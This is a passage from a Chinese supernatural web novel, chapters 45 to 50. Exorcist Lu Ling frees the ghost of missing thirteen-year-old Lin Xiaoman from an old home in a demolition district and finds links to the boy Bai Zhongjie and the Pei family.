墙皮大片剥落,楼道里堆满废弃家具,路灯有十个坏了九个,其中一个还一闪一闪的,风穿过破窗发出“呜呜”的声响,像极了呜咽声。 第45章:跟踪她 鹿翎环视周围,掏出一张显邪符,掐诀念咒:“玄光破暗,阴邪显斑;藏形无处,匿影难安;阴阳照彻,鬼魅现颜;奉吾之令,显!” 火光乍现,黑暗的地方被一瞬间点亮,不过也只是转瞬即逝。 有些地方并没有完全黑下来,符咒消散后,符纸碎片开始向四周飘散。 鹿翎看着这些到处飞的碎片,跟上其中最亮最大块的,向里面走去。 身后,一道身影从梧桐树探出。 来人一身白色衬衫,长相俊美,看上鹿翎背影的目光复杂极了。 是程烨。 他本来打算回家吃饭,但是回家要路过这段城中村,没想到在这里看见他怎么不会想到的人。 鹿翎怎么会在这? 程烨心中很疑惑,他本来不打算多管闲事的,但看见鹿翎一个人单枪匹马的走进去,心中难免有些担心。 一个女孩子独自走到这种地方,多少还是有些危险。 程烨没有犹豫半分就跟上去。 使用显邪符后,有怨灵、魂魄等地方,碎片都会飞到这些地方去。 最大最亮的碎片代表怨灵、邪气最多最浓厚。 这块就是主要除邪地。 鹿翎跟着那片最亮的符纸碎片一路深入,碎片轻飘飘落在最里栋的楼道口,随即化作点点金光消散。 她刚踏上台阶,一股阴冷的风就从楼道深处卷出来,带着霉味和淡淡的死气,楼道里的声控灯明明灭灭,像是随时会彻底熄灭。 没想到这里还有人住。 “怨气聚而不散,却不带凶煞,是执念未消的阴灵。”鹿翎低声自语,脚步轻缓地往上走。 鹿翎刚走进去,那盏忽明忽暗的声控灯“滋啦”一声彻底灭掉,整条楼道瞬间坠入漆黑。 她脚步未停,正准备敲门,身后楼梯口忽然传来一声极轻的脚步声。 很稳,很克制,是活人。 鹿翎眼神微冷,猛地回头。 黑暗中,一道挺拔身影立在楼梯转角,白衬衫在夜色里格外显眼,金丝眼镜反射着微弱月光,面容清俊,神色紧绷。 是程烨。 他怎么在这? 程烨被她突然回头吓了一瞬,脚步顿住,指尖不自觉攥紧,一时竟忘了该说什么。 他本来只是放心不下,只想远远看着她安全就好,可一不留神就跟到了楼道里,此刻被当场抓包,尴尬得耳根微热。 “谁让你跟过来的?”鹿翎声音冷了几分,带着明显的警告,“这里不是你该来的地方,立刻走。” 程烨喉结微动,硬着头皮开口:“这里太偏,你一个女孩子不安全,我...陪你一起。” “不需要。”鹿翎拒绝得干脆利落,“你在这里只会碍事。” 程烨抿抿唇,不知道该说什么。 这还是他第一次被女孩拒绝。 鹿翎没在管他,上楼一看有几个身穿黑色短打,浑身带着蛮横力气的大汉,双手抱胸堵在祖孙俩门口。 为首的男人嘴里叼着烟,唾沫横飞地呵斥着,声音粗糙又刺耳,“老太太别给脸不要脸,拆迁款早就打到你账户上了,合同也签了,这破房子马上就要推平,你赖着不走,是想给我们找不痛快?” 门没开。 门内传来老太太尖锐的嚎喊:“动手?你们敢!这是我家拆,迁款就那么点够干什么用?连个毛坯房都买不上,我一把老骨头搬出去睡大街啊,我不搬,除非把钱给够,不然我就是死在这屋子里,也绝不挪窝。” 白中杰就缩在白奶奶身后,眼神躲闪,不说话。 大汉们被这老太太无赖模样气得脸色铁青,猥琐的男人踹了一脚门边的破砖头,恶狠狠道: “政策就这样,全江州都一样,就你特殊,当初签字的时候,你可没说二话,现在拿了钱又反悔,天底下哪有这么好的事?我告诉你,今天这房子你搬也得搬,不搬也得搬,再不收拾东西,我们就直接把你家东西全都扔出去。” 白奶奶一听,又开始撒泼打滚起来。 鹿翎站在他们后面,听着这场闹剧。 本来想等他们把事情解决完了,她才出面。 但看这架势,没有半个小时是解决不了的。 鹿翎等的有些不耐烦了。 她上前几步,拍了拍站在最后面男人的背,“大叔,你们的事解决完了吗?” 那大汉正被老太太搅得一肚子火气,被拍背的人还没说话,他倒是像是炸了毛的猫。 猛然转过身,横眉眼对地瞪着鹿翎,粗声粗气地吼道:“哪来的小丫头片子?大人的事,小孩子少掺和,赶紧滚一边去。” 他身材魁梧,站在鹿翎面前足足高了半个头,浑身的蛮横气势扑面而来,换成寻常小姑姑娘,早被这架势吓得退避三舍。 可鹿翎眉头都没动一下,眼神冷淡淡的,目光扫过眼前几个壮汉。 语气平静,却带着不容置疑的压迫感,“我没打算掺和你们拆迁纠纷,只是这户人家我有事要问你们,耽搁我时间了。” “耽误你时间?”为首的男人嗤笑一声,掐灭嘴里的烟,眼神不善地上下打量鹿翎。 见她穿着普通,又孤身一人,压根没把她放在眼里。 “我看你是活腻歪了,敢管老子的事,这房子马上就要拆,里面的人我们今天必须清走,有什么话让他们搬出去再说。” 说着,他抬手就会想推搡鹿翎,想把她直接推开。 鹿翎眸色一沉,身形微微一侧,轻松避开他的手。 同时指尖不经意间轻轻一拂,一道虚空而画的符咒悄无声息探入男人体内。 下一秒,男人刚伸出去的手猛然将在半空,随机脸色骤变,只觉得整条胳膊又麻又沉。 像是灌了铅一样,抬都抬不起来。 浑身莫名泛起一股凉意,腿脚都有些发软,刚才的蛮横劲儿散了大半。 其余几个大汉见状,纷纷围了上来,攥紧拳头,恶狠狠地盯着鹿翎,“臭丫头!你敢动手?” “我可没动手,你们哪只眼睛看我动手了?”鹿翎抬眼,目光清冷如冰,扫过众人,“再在这里闹事,耽误我的事,就不是胳膊发麻这么简单的。” 第46章:附在你身上 她身上没散发出半点戾气,却让几个壮汉莫名心生感到畏惧。 明明眼前只是个年轻姑娘,身形单薄,大风轻轻一吹就会被吹倒的那种。 却让他们感觉像是被什么危险东西盯上一样,背后阵阵发凉。 为首的男人甩了甩发麻的胳膊,又惊又怒。 可看着鹿翎那双毫无波澜的眼睛,不敢再上前,心里打起了退堂鼓。 他也搞不懂刚才是怎么回事,只当是自己最近太累了,出了点状况。 狠狠瞪了她一眼,又转头对着门口,啐吹了一口唾沫,“算你们走运,明天我们再过来,到时候别想再赖着了。” 说完,他带着几个手下,骂骂咧咧地转身离开了。 过道瞬间安静下来。 敲响看起来已经很老旧的铁门。 大概过了一分钟,里面传来鞋子走路的声音。 掉漆的旧门发出“吱呀”一声从里面轻轻被拉开。 昏暗中,一股混杂着霉味与药味的气息,还夹杂着一股若有若无的阴冷气息扑面而来。 房门内,老人家撒泼打滚的哭闹声也停了,隔着门板,传来她小心翼翼的声音,“外、外面的人走了吗?” 鹿翎抬手,轻轻敲了敲门,“他们已经走了” 门内沉默了几秒,随后传来窸窸窣窣的动静。 过了好一会,房门才被拉开一条缝。 老人家探出头,看见是一个小姑娘,脸上露出几分复杂神色。 刚才若不是没有她,他们祖孙两人今天怕是真的要被强行赶出去了。 一个男孩躲在奶奶身后,探出半个脑袋看向鹿翎。 瞧见来人模样,鹿翎微微挑眉。 而小男孩看见鹿翎的时候,也是微微愣住,反应过来后,就要立马关门。 鹿翎眼疾手快,伸出手,就要挡住要关闭的门。 见手已经伸进来了,来人立马停住关门的动作。 鹿翎推开房门,正是前几天在酒店露台跟着裴耀阳一起起哄、用水泼她的那个男生。 “怎么是你?你想干什么?”少年将房间门打开,眼神警惕地看着鹿翎,“上次那盆水不是没泼到你头上吗?再说,时间过去这么久了,怎么还记仇?” 最开始是他的语气很胆小,声音很胆怯。 但说到后面,他的语气就变得十分嚣张,很不屑。 老太太一愣,“中杰,你认识这个姐姐?” 白中杰冷哼一声,没说话。 白奶奶见状,眉眼也冷了下来。 鹿翎没理会他,一把拉开铁门,“就是你们祖孙俩,需要特殊服务?” 说到最后一句,她还挑挑眉,语气里充满玩味。 少年不知道想起什么,浑身打哆嗦,目光打量似的在她身上来回扫视。 “你就是我爸找来抓鬼的?” 语气里充满不可思议。 耀哥不是说这个乡巴佬就是乡巴佬吗? 怎么还会捉鬼。 急急忙忙上楼后的程烨还没反应过来他们在说什么。 现在反应过来,他一脸羞愤地想要把鹿翎拉走。 嘴里还说着:“你一个女孩子怎么能当骗子”之类的话。 鹿翎理都不想理这种人,在他还没接触到自己,侧身躲过,冷声警告:“我再说一遍,离这里、离我远点。” “你...” 鹿翎没理他,但转头面对白中杰这对祖孙,之前的耐心都少了几分,“请问还需要我捉鬼吗?” “当然需要,你都接单了,都收钱了,我还能把你赶出去吗?”老太太语气有些恶劣,“全说些废话。” 她侧身让鹿翎进去。 程烨见她真要进去,一脸不可置信。 他刚要开口说话,门“砰”的一声关上,碰了一鼻子的灰。 进屋后,鹿翎上下打量,左右环视四周,发现客厅和其他地方阴气的踪迹,不是很多。 但有一个关上的房间,阴气都从门底缝隙溢出来了。 鹿翎指着那个房间,转头问:“那是谁的房间?” “那是我的。”白中杰站出来,“有什么问题吗?” 鹿翎若有所思地走到门口,推开房间门。 并没有自己想象中阴气那么重,甚至在他推门进去后,还有股若有若无的香气。 “你确定这是你的房间?”鹿翎转头再次询问他。 白中杰不耐烦地摆手,“这不是我的房间,还是你的房间吗?” 老太太见她一直在问这个房间是谁的,也开始不耐烦起来。 “你到底会不会捉鬼?不会的话赶紧离开这里。免得耽搁大家的时间。” 鹿翎没理会祖孙俩的不耐烦,指尖在门框上轻轻一搭,眉头微蹙。 “阴气外溢,内里却干净得异常,说明东西根本不在房里,而是……附在你身上。” 她话音刚落,目光就直直地看着白中杰身上。 白中杰吓得一缩脖子,脸色瞬间白了几分,强装镇定,“你、你少胡说八道!我身上怎么可能有那种脏东西?” 老太太也立刻护着孙子,横眉冷对,“你这小姑娘怎么乱说话?我孙子好好的,你再咒他,我可就不客气了。” 鹿翎懒得争辩,直接从随身携带的布包里面抽出一张照邪符。 指尖一捻,符纸无火自燃,白色火光在白中杰面前一晃。 普通人眼里,不过是一张纸,烧起来了,没什么特别。 可在鹿翎眼中蛋白浮火掠过的瞬间,白中杰肩头骤然浮现起一层半透明的虚影。 长发垂落,身形单薄,脸色苍白,一双眼睛空洞的望着前方,正静静依附在他身上。 只有她看得见。 白中杰只觉得浑身一冷,像是被冰水浇了一遍,止不住地打了个寒战,牙齿都开始打战,“奶奶,家里开空调了吗?怎么这么冷?” 老太太也跟着一哆嗦,环顾四周。 昏暗的房间里,明明门窗紧闭,却莫名刮起一阵小风吹得人汗毛直立。 鹿翎捻灭手中浮灰,语气平静,“阴灵没有害人,只是一附在他身上,跟着他走动,所以你们家才处处不对劲。” 程烨在门外拍的门板咚咚响,声音隔着门传进来,带着急怒,“你开门别在里面装神弄鬼,骗小孩钱。” 屋内两人都被门外的声音惊了一下,老太太更是狐疑,“那是你朋友?怎么一直在外面吵?” 第47章:退钱退钱 “路人,不用管。”鹿翎淡淡带过门口,目光重新落回白中杰身上,“这阴灵执念轻,没有怨气,强行驱散只会让她魂体受损,永世不得轮回。” 她顿了顿,声音压低几分,确保只有祖孙两人能听见,“想真正送他走,让他安心投胎,必须知道她所有信息,有了这些信息,她才能离开这里,少一样,她都走不了,甚至到了后面会变成厉鬼。” 这会不能让门口的程烨听见。 一旦被他听见,只会更加的认定鹿翎在搞封建迷信、坑蒙拐骗,到时候闹起来,事情反而更加难办。 白中杰脸色发白,结结巴巴,“我、我怎么知道她是谁啊....我又看不见...” 老太太也慌了神,语气不再像刚才那般恶劣,“小师傅,我们肉眼凡胎,别说姓名住址,连她长什么样都不知道,这可怎么办啊?” 鹿翎看向白中杰肩头那道安静的虚影,缓缓开口,声音轻得像一阵风。 “我能和她沟通,只是你们听不见,也看不见,你们只需要站在一旁,什么都别说。什么也别动就行。” 说完他不再理会一脸茫然的祖孙俩,向前走了几步,对着李中杰方向轻声问道: “你滞留人间许久,再耗下去魂消散,连轮回的机会都没有,告诉我你的姓名,生辰和住址,我送你回家。” 空气静了几秒。 没有任何声音回应。 在鹿翎的视线里,只看见淡薄的白影只是轻轻颤动了一下。 空洞的眼睛垂了下去,既不靠近,也不说话,透着一股说不出的怯懦和回避。 “不肯说?”鹿翎微微挑眉。 这还是她第一次见这么老实的鬼。 老太太和白中杰什么也听不见,只看见鹿翎对着空气自言自语,房间越来越冷,吓得两人紧紧抱在一起,一动也不敢动。 门外程烨的拍门声还在继续,夹杂着几分不耐:“你到底在里面干什么?” 鹿翎懒得理会,会往前走了一步,对着那阴灵淡淡开口。 这一次,语气里染上了几分指令意味,“既然不愿开口,那便先跟我走,离开这户人家,远离生人阳气,我再慢慢问你。” 这番话并不是威胁。 一是对这户人家的保护,二是对阴灵的保护。 果然再在生人地方待太久,轻则变着厉鬼,让这地方变成鬼地。 重则魂飞魄散,再也入不了轮回。 变成厉鬼的话,有高人出手,自然处理这种事。 可能要会有一丝入轮回的希望。 要是真的魂飞魄散了,那就一点希望都没有了。 说完,她抬手轻轻一引,打出一道微弱的引魂决。 下一刻,诡异的一幕出现。 白中杰肩头的虚影,微微一动,像是要飘离。 可刚离开寸许,便像是被一根无形的线猛然拽了回去,重重跌回原处。 阴灵发出一声只有鹿翎能听见的轻嘶,身形都淡了几分,显得更加痛苦。 鹿翎眼神微沉,“走不了?” 这是怎么回事? 为什么走不了? 鹿翎疑惑。 像这种情况一般分为三种,一是心愿未了;二是有什么东西把怨灵、鬼魂困在原地;三是自己不愿离开。 “既然走不了,那你有什么心愿吗?”鹿翎先把前两种情况给排除。 她刚刚已经观察过房子周围,并没有发现有什么东西困住鬼魂的法器。 最后一种不是她可以做的事。 那她先把第一种排除,再联系人员把鬼混带回她该来的地方。 女鬼闻言,愣了一下,空洞的眼神望着他。 莫名的,鹿翎感到一阵悲哀。 这感觉很奇特。 从心底蔓延出来。 她转头看向李中杰祖孙俩,“她现在走不了,你们是要待着这里,还是搬走,等我解决完后,你们再搬进来。” 话音刚落,李奶奶立马就炸了,“什么叫她现在走不了?我儿子请你来干什么的?我看你就是来骗钱的小丫头片子。我不管,要么退钱,要么就给我解决这件事。” “钱是退不了了,前面说的两个方案,你选一种吧。” 为了保证接单人和雇主的权益,如果没有在一天时间内解决,必须说明原因,并确保要在几天内解决。 如果超时,超时一天将扣除酬金本身的10%。 不过这钱不会扣完,有几百到一两千不等的安慰金。 对于雇主,平台会安排其他人来解决这件事,也会安排人随身保护,会安排住所等事项。 当然,这些是在雇主愿意的情况下。 而李中杰就属于这种情况。 鹿翎有些不耐烦。 她拿出工作机,手指在键盘上飞快噼里啪啦地打字,在说明这里的情况。 做完手上一切工作后,她从兜里拿出两个玉佩,塞到祖孙俩的怀里,“这是护身玉牌,会抵挡鬼魂三次攻击,我明天再来给你解决这事。” 李奶奶攥着怀里温热的玉牌,原本到嘴边的怒骂硬生生咽了回去,可依旧满脸不服气,跟着脖子不肯松口。 “什么明天解决,我花了钱,你今天就得给我处理干净,这房子里有那东西,我们祖孙娘怎么住?你这不是坑人吗?” 白中杰眼下的脸色惨白,紧紧拽着奶奶的衣角,浑身都在打哆嗦。 他虽然看不见,也摸不着,可刚才那股刺骨的寒意让他打心底里害怕,哪里还敢在这房子里多待。 鹿翎眉眼间的不耐烦更多了,却还是耐着性子解释。 这还是她第一次有这么耐心。 “她被执念牵绊,又被困在这里,不是一张符就能解决的,强行施法只会逼出她的戾气,到时候真化成厉鬼,你们谁都跑不了。” 她顿了顿,目光扫过缩成一团的白中杰,语气也冷了几分。 “这鬼魂本无恶意,全是被生人阳气扰的,魂体不稳,再耗下去,后果你们自己承担。” 这话一出,李奶奶瞬间没了气焰,嘴唇哆嗦着,心里又怕又纠结。 鹿翎不再等她回应,将自身信息与任务进度在玄灵后台提交完毕,又额外备注:【魂体被困,明日续办】 按下提交键。 平台几乎是秒回,发来一条加密消息:【收到,已备案,如需协助可随时申请,注意自身安危。】 第48章:和裴家也有关系? 做完这一切,鹿翎抬腿便往门口走。 她能感受到那女鬼的目光一直黏在他身上,满是无助与哀求,还有化不开的悲凉。 “砰—砰—砰—” 程烨的拍门声越发急促,甚至带着几分冲撞的力道,声音里满是急怒,“这位小姐,你开门,里面到底发生什么事了?你别在里面胡来!” 他本是医者,坚信科学,从始至终都觉得鹿翎在装神弄鬼,欺骗老人小孩的钱财。 之前他被鹿翎两次拒绝,又气又担心,担心她被人揭穿后下不来台。 更担心这偏僻老旧的小区里,她一个女孩子会遇到危险。 鹿翎抬手握住门把手,稍微用力,将门拉开一道缝隙。 冷风瞬间从楼道里灌进来。 程烨猝不及防,拍手的门顿在半空,对上鹿翎清冷的眸子,一时间竟忘了接下来要说的话。 他看着鹿翎神色平静周深,没有半点慌乱,反而萦绕着一股淡淡的难以言语的舒能气场。 和刚才那个冷漠寡言的少女判若两人。 “你终于肯开门了!”程烨回过神,脸色依旧难看,语气里带着指责,“我跟你说了,那是封建迷信,你怎么非要在这里骗...” “让开。” 鹿翎打断他的话,声音冷淡,没有丝毫想要解释的意思。 他怎么还在这。 怎么这么烦。 她侧身从门缝里走出来,顺手带上房门,隔绝了屋内祖孙俩惊恐的视线,也隔绝了屋内那股挥之不去的阴冷。 程烨被她身上莫名的气场震慑住,下意识往后退了一步,看着她的眼神越发复杂。 “你到底在里面做什么?”程烨眉头紧蹙,语气不自觉放软,少了几分指责,则多了几分担忧,“这里太偏僻也太危险,我送你回去。” 鹿翎瞥他一眼,懒得回应,径直往楼梯口走去。 一点都没把他放在眼里。 程烨看着她的背影,心头莫名一紧,鬼使神差地跟了上去。 他总觉得这个女孩不简单。 “你等等。” 程烨快步上前,伸手向去拦她,指尖刚要碰到她的胳膊,就被鹿翎骤然回头的冷眼逼退,手僵在半空。 “我说过,别再跟着我。”她的声音不带一点温度,眉眼间的不耐,几乎要溢出来。 程烨收回手,眉头拧得更紧,与其里带着藏不住的担忧,“这里是待拆迁的老小区,晚上前杂人很多,又偏僻,你一个女孩子独自走在路上太麻烦了。” 他顿了顿,看着她面无表情的脸,轻声补充,“我没有别的意思,只是送你回去,到地方我就走。” 鹿翎懒得跟他周旋转身,继续向前走,只当身后的人不存在。 不过鹿翎走到后面越走越快,越走越快,程烨几乎已经快跟不上她了,只能三步并作两步。 到最后竟然还跑了起来。 还是没有追上鹿翎。 等实在跑不动后,他停下来双手撑膝盖,大口喘粗气。 嘴里还喃喃自语:“现在女孩子跑步都这么快吗?” 程烨准备离开这里时,还对鹿翎离开的方向,一步三回头。 —— 鹿翎使用疾行符了,快速离开这里,回裴家。 回到裴家后,站在大门口,发现别墅内还是灯火透明。 她直接翻了进去,都没敲门。 今天本来就有些累了,等会敲门进去又要遇见裴家人。 然后就是一顿叽里呱啦的批评教育。 说她这个白眼狼怎么还有脸回来之类的话? 这些话她回裴家这么久,早就听腻了。 翻窗回二楼后,打算查查那个拆迁小区发生了什么事,才会让一个鬼魂在老小区走不了。 主要是现在不知道那女鬼的姓名,她又不开口说话,现在更是离开不了那个房间。 多少还是有点无从下手。 现在只能找最近有无失踪人口。 自己多少能知道这个女鬼应该是个新鬼,不然阴气没有这么新,也不会是香的。 依旧是那部工作机,鹿翎从口袋里把它掏出来,随手按了几个键。 把键盘往旁边舒展,立马显现了两个手掌大的显示屏。 像一个平板。 点开一个全黑的软件,主页很简单。 上方有个搜索引擎,下方左下角是个论坛,中间是个加号,右边是个人主页。 她点开搜索引擎,指尖飞快敲击屏幕,双屏骤然亮起,黑底白字的界面快速滚动。 她将搜索范围从各个大陆缩小到亚洲,再到华国,最后是江州。 关键词,精准锁定近三个月失踪年轻女性,非自然死亡,拆迁区相关。 结果一页页翻过,数字触目惊心。 江州近三个月内,其中有十一位符合条件的记录。 其中七位为年轻女性,失踪分布在江州不同片区,均无目击者,监控也在关键节点中断。 有有尸体的,还有没尸体的。 四位为意外身故,地点多为拆迁、老旧建筑相关,死因存疑。 家属当时都不认同,不过过了几天后统一认同这个说法。 在这些死者中,没有一个人的失踪地是在红光小区。 鹿翎眉峰狠狠蹙起。 这次十一人的档案上,她并没有看见和女鬼相似的地方。 这意味着女鬼有可能不是在本地失踪的。 一个外地的鬼魂,怎么会千里迢迢跑来即将拆迁的红光小区,缠上白中杰? 她迅速调出十一人的档案,目光扫过每一条记录。 失踪者多为二十岁左右,少数在三十岁几岁,身形单薄,长发死因,要么是“意外坠楼”,要么是“拆迁工地事故”,要么是“深夜失联”。 档案里都没有明确的遗物记录。 而那女鬼魂体崭新,阴气纯净,没有一丝戾气,显然是刚死不久。 她是被人带到红光小区的? 还是有什么东西主动牵引她的魂体? 鹿翎上滑刷新,本来只有十一个人,现在却变成了十二个人。 鹿翎指尖一顿,停留在最新刷新的一条记录上。 看照片,小姑娘大概只有十三四岁,面如满月、皮肉紧实、气色温润,不刻薄不凌厉。 一看就是安稳有福气、好相处、少灾少难的长相。 父母是普通人。 而且她还只有十三四岁。 才上初中的年纪,怎么会出现在死亡名单上? 其实这个年纪上死亡名单,对鹿翎来说是件很平常,却很悲痛的事。 她还见过刚成型的婴儿。 不过小姑娘的眼睛,让鹿翎似曾相识。 空洞的眼神... 亮如白昼的双眼... 莫名的,鹿翎把这双眼睛和女鬼的眼睛结合在一起。 这让鹿翎不得不警惕起来。 指尖在屏幕上飞快敲击,鹿翎直接将江州全境的搜索范围,精准锁定在近三年初中在读,且已被记为失踪或死亡的未成年人口上。 第49章:遗体未寻获 页面加载的几秒里,她指尖拖着下巴。眉头依然紧锁。 这个十三四岁的少女,那张温柔无害的脸,和女鬼空洞无神的双眼重叠在一起,绝非巧合。 屏幕骤然刷新,寥寥几条结果,跳了出来,唯独最上方那条,和她刚看到的新增死亡记录完全吻合。 林小满,十三岁,江州第一初级中学初一七班学生,半个月前放学途中失联,一周前家属放弃寻找,警方按非正常死亡结案,死亡一栏,赫然写着: 【遗体未寻获】 没有遗物,没有明确的作案现场,甚至连尸体都不知所踪。 和之前那十一名失踪者的结案结论如出一辙。 鹿翎指尖划过屏幕,眼底掠过一丝沉凝。 面相上看,林小满命格平顺,幼年无灾无难,本不该早死,更不该落得魂魄离体、滞留人间的下场。 他立刻调出玄灵APP的魂体对比功能,将之前偷偷留存的女鬼魂器碎片,与林小满的档案信息绑定。 不过瞬息,屏幕上弹出鲜红的匹配度100%。 真相已经清晰。 困在白中杰身边的女鬼,根本就不是外地游魂,而是失踪半个月、年仅十三岁的初中生林小满。 可一个初中生,怎么会跟白中杰有交集? 这点,鹿翎感到十分疑惑。 要说相似的点,也就是林小满和白中杰年纪相仿了。 等等。 年纪相仿。 鹿翎叉掉范围缩小,将注意力放在江州第一初级中学七班。 看见大合照和名单时,她微微勾唇。 果然如她所想,白中杰和林小满就是在同一个学校,同一个班。 甚至她还在班级大合照和名单里,看见她怎么也想不到的人的名字和照片。 裴耀阳? 他怎么会在这么一所普通的中学里面? 像这些豪门不应该把孩子安排在贵族学校里面吗? 怎么会让他进这么普通的学校? 莫非这件事还和裴家有关? 女鬼的姓名、年龄、班级、家庭关系都被她找到了。 她退出软件,打算在正常的社交媒体上搜索这个中学。 跳出来的大多数都是学校宣传。 不过少数弹出来的就是学生家长拍的视频,很老土。 鹿翎没有想看下去的欲望,快速划过,指尖在划过一条视频时,猛然顿住。 点开视频后,是个看起来明明只有三十多岁,但头发和面相显示有五十岁的男人。 这是林小满的爸爸。 鹿翎点开主页,发现都是关于他女儿林小满的视频。 他在为他的女儿在网上主持公道。 视频内容大致讲的他为女儿发声,却没得到结果。 播放量和流量寥寥无几。 不过视频时间在一个星期前已经中断。 鹿翎思考。 现在大致消息她是知道了。 明天再去一趟他家,剩下的事,等把林小满的魂魄救出来再说。 正要关灯休息,门被敲响了。 鹿翎直接选择置之不理。 谁管他们。 第二天,她依旧不下楼,连饭都没吃。 临近傍晚,她又翻窗跑出去。 二十分钟后,出现在红光小区。 白奶奶给她开了门,语气依旧不善,“来给我们解决问题来了?搞快点,我们还有事。” 鹿翎没说话,目光落在白中杰身上,开门见山,“我要见女鬼。” 白奶奶一愣,脸色立马变得惨白,视线转移到孙子白中杰身上。 刚刚那一遭,她完全忘记自己房子里还住着一个女鬼,正俯身在他孙子身上。 白中杰脸色也变得不好看。 在鹿翎说完后,那个女鬼立马从白中杰身上飘出来,很乖巧,眼神无声地站在原地。 像是被罚站的小学生。 而白忠杰整个人软趴趴的瘫坐在地上,额头开始冒虚汗。 见状,白奶奶立马上前扶起白中杰,搀到椅子上坐着。 见女鬼飘出,鹿翎将她所查到的是全部说了出来。 “你叫林小满,今年十三岁,江州第一初级中学初一七班学生,半个月前放学途中失联,最终被判定为非正常死亡,遗体至今下落不明,我说的,没错吧?” 听到“林小满”三个字,还没坐稳的白中杰身子猛然一颤,竟然从沙发上滑下来。 脸色瞬间变得惨白,眼睛慌乱地低下头,双手紧紧攥着衣角,嘴唇哆嗦着,一句话都说不出来。 而白奶奶听到这个名字后,脸色也立即变得阴沉下来。 她看不见女鬼,所以阴狠的视线只能转移到鹿翎身上。 “林小满”三个字落地的刹那,原本还温顺安静的魂体骤然暴动。 那双空洞的双眼爆发出刺目的猩红,纯净温润的白色混体疯狂翻涌扭曲,丝丝缕缕的黑色戾气,以肉眼可见的速度从魂体深处疯狂蔓延。 而周围的环境也随着魂体变化。 屋里开着空调,温度适合。 但在此刻却变得冷飕飕的。 浑身鸡皮疙瘩都冒了出来,白中杰双手抱臂,牙齿在打着寒战。 白奶奶原本还阴沉的脸色和眼神,在此刻也变得恐惧。 鹿翎眸色一沉,动作快如闪电。 她指尖从随身携带的小布包里,随便夹起一张黄符,口中念着咒语,手腕翻飞。 符纸亮起金光的瞬间,鹿翎猛然打向林小满。 金光所过之处,那些暴戾的黑气以极快的速度消散。 林小满扭曲的魂体慢慢平复,猩红的双眼褪去血色,重新恢复成原本的空洞。 只不过这份空洞里掺杂了些许愧疚。 “对...对不起...我给你填麻烦了吗?”她终于能开口说话了。 不知道是不是很久没说话的缘故,她的嗓音很沙哑,很粗糙。 像男人的声音。 鹿翎张口,刚要说话,护着白中杰的老太太突然暴喝一声,“够了!你这个骗子,还想骗我们到什么时候!赶快给滚出我们家!” 说着,她站起来,想把鹿翎推出家门。 明明看起来很瘦弱的老太太,没想到力气这么大。 再加上半截身子进黄土的人,鹿翎也不敢出力抵抗,只能任由她把自己推走。 不过在临走前,鹿翎悄悄伸出一只手,指尖上缠绕着一丝淡色灵气。 这股灵气勾向了林小满。 第50章:怨念消除不了 林小满此刻还沉浸在愧疚与无措中,感受到那里温和的灵气,下意识抬眼看向鹿翎,空洞的眼里闪过一丝茫然。 她能清晰感受到这股气息,温暖又安心,带着一股牵引之力,没有半分恶意。 “别反抗。跟着我走。”鹿翎只用鬼能听到的声音,淡淡传声。 林小满似懂非懂的点了点头,魂体顺着灵气的牵引,轻飘飘的跟在鹿翎的深厚。 因为是魂体状态,满心慌乱的白奶奶和低着头的白中杰,根本没有觉察到分毫。 他们怎么可能看到魂魄。 所以鹿翎做这个事是没有丝毫顾忌。 不过片刻,鹿翎就被白奶奶推到了门口,用尽全力将鹿翎往外一搡。 紧接着“砰”的一声。 死死关上房门,还快速落下了门锁。 鹿翎稳稳站在门外,没有半边被推搡的狼狈,指尖轻轻一收。 那缕缠在林小满身上的灵气瞬间收紧,将她的魂体稳稳护在身侧。 林小满的魂体顺着力道,彻底脱离那间困他她久的屋子,悄无声息地依附在鹿翎身边。 魂体比之前安稳了许多,只是依旧怯生生的。 屋内,白奶奶背靠房门,大口喘着粗气,脸色依旧惨白,回头看向脸色发白的孙子,眼神中全是复杂的神情。 门外,鹿翎侧头看了眼身边安静的林小满,眼底掠过一丝沉凝。 白奶奶的反应太过反常,显然是知道什么却不愿意说出来。 但眼下她成功带走林小满的魂魄。 对这单任务也算是完成了。 她打开APP,按下结束订单的按钮,手机对着门拍了张照。 界面立马弹出来的【已完成订单】的图片。 直到鹿翎做完一切后,在旁边一直不敢说话的林小满才开口说道。 “姐姐...我现在该去哪...” 她现在已经死了,不知道该何去何从。 鹿翎侧头看了眼身侧那团怯生生、仿佛随时会被风吹散的魂体,指尖淡色灵气轻轻流转。 “先跟我走。”她声音清冷,却带着让人安定的力量,“你现在魂体不稳,用不了三天便会魂飞魄散,入不了轮回,等明天我找人把你送回你该去的地方。” 林小满没说话,只是乖乖地飘在她的身边。 鹿翎没再多说,脚步轻快,朝外走去。 林小满是跟着鹿翎一起回的裴家。 现在天色已晚,裴家别墅没亮灯,黑灯瞎火的,鹿翎还是选择翻墙进去。 林小满就不用了。 她现在是鬼魂,没有实体,直接穿墙就行了。 鹿翎回到房间后,把她安置在一块还未雕刻的玉石中。 —— 第二天。 别墅门口,还是上次那个黑衣人。 “你好,玄灵闪送,请问要送的是什么物品?” 鹿翎拿出那块玉石。 林小满静静附在玉石上。 黑帽青年看见附有鬼魂的玉石并不意外,反而淡定地从随身的挎包里取出一个盒子。 鹿翎当即将玉石放进盒子里,当面支付报酬,黑帽青年带着盒子快速离开。 这件事解决完后,另一部手机弹出钱已到账银行卡的短信。 看这短信,她的心里泛起甜蜜。 果然还是钱会令她开心。 不过,一下午的时间。 这份开心变成了毫无心情。 站在裴家别墅大门前,鹿翎看着面前熟悉的黑帽黑裤黑衣,面无表情地从对方手中接过熟悉的盒子。 “你说,怨念消除不了?” 黑帽小哥点头,“那边是这么反馈的,东西已安全送回,欢迎再次使用玄灵闪送。” 说完,黑帽小哥快步离开。 鹿翎脸上没什么表情的,看着手中的盒子,没说什么,拿着盒子转身回房。 将盒子放下后,鹿翎第一时间发消息询问对方,同时要求对方退钱。 花了大几千消除怨念,结果居然又一模一样地给她送了回来。 看来她还是要亲自处理林小满怨念的事。 其实这种事原本是轮不上他们的。 鬼魂的怨念要被消除后才能进入轮回,如果消除不了,那只能抹杀。 抹杀了还好。 毕竟钱已到位。 如果抹杀不了,这钱退不退的回来还难说。 幸好这钱少,她接的是个事简单,但钱又少的订单。 如果接那种小到几万大到几十万、百万的,那消除怨念的钱就是酬金的一半或者三分之一。 当然,也不是所有都是酬金的那么多。 大多数会按照怨念的消除程度来决定这个钱是多少。 消息显示已读。 但对方没回。 鹿翎有些气恼。 她最烦的就是这种已读不回的人。 把手机一摔,转身扑向大床,心情郁闷得很。 林小满从盒子里飘了出来,看见鹿翎愁眉不展的样子,又飘了过去,问:“姐姐...你没事吧。” 